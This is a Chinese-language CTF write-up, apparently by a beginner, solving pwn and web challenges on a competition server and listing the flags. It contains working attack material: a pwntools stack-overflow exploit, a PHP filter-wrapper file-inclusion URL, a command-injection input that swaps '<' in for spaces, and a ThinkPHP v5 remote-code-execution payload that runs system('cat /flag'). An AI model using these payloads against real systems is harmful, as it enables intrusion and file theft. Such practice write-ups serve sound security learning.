一起讲了得了
贝壳是什么东西
kali中终端运行
nc ctf.dino209.cn 8001
然后直接拿到flag
EZのStack_Overflow
栈溢出的题
ida打开
双击第四行函数
可以看到我们的buf变量开了132的空间 但是可以read256个字符
所以会造成栈溢出
我也不太懂 我不是pwn手
ebp是栈帧地址
现在离他的距离是88(16进制 十进制是136
我们可以双击buf查看
为了覆盖r 所以我们构建140个"a"的payload
可以轻松找到后门函数
tab 再空格
找到后门函数的地址
所以我们可以利用栈溢出原理覆盖原来应该执行的下一条命令 来执行这个后门函数的命令 从而获取权限
上脚本
from pwn import *
io=remote('ctf.dino209.cn',8002)
#123
payload = b'a'*(140)+p32(0x08049216)
io.send(payload)
io.interactive()
然后ls命令
cat flag命令即可
Dino{This_is_a_EZ_stack}
web
我不是web手 我也没学过web 理论上我能做的web纯萌新们都可以做
flappy bird
我不知道玩完给不给 反正我没玩
进网址 右键查看源码
双击main.js文件
发现answer字样 复制 去base64解密
dino{welcome_to_cyberspace}
babyinclude
不会 不懂 他说文件包含我就百度一下
搜索知道关键词 php伪协议
所以直接复制人家的payload改一下就可
http://ctf.dino209.cn:7005/index.php?Dino=php://filter/read=convert.base64-encode/resource=flag.php
然后base64再解码
easy_eval
百度 抄 学习
试了试发现
输入1.1.1.1&ls 是可以执行的 目录下有flag
但是1.1.1.1&cat flag 不能执行 读代码发现是他禁止输入空格
百度知道可以用<代替空格
所以
输入
dino{you_really_know_eval}
能弹窗就算成功
按f12
easy_thinkphp
直接搜 thinkphpv5 漏洞 利用 工具
直接执行命令就行 这个flag是动态的 就不放了
payload打
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag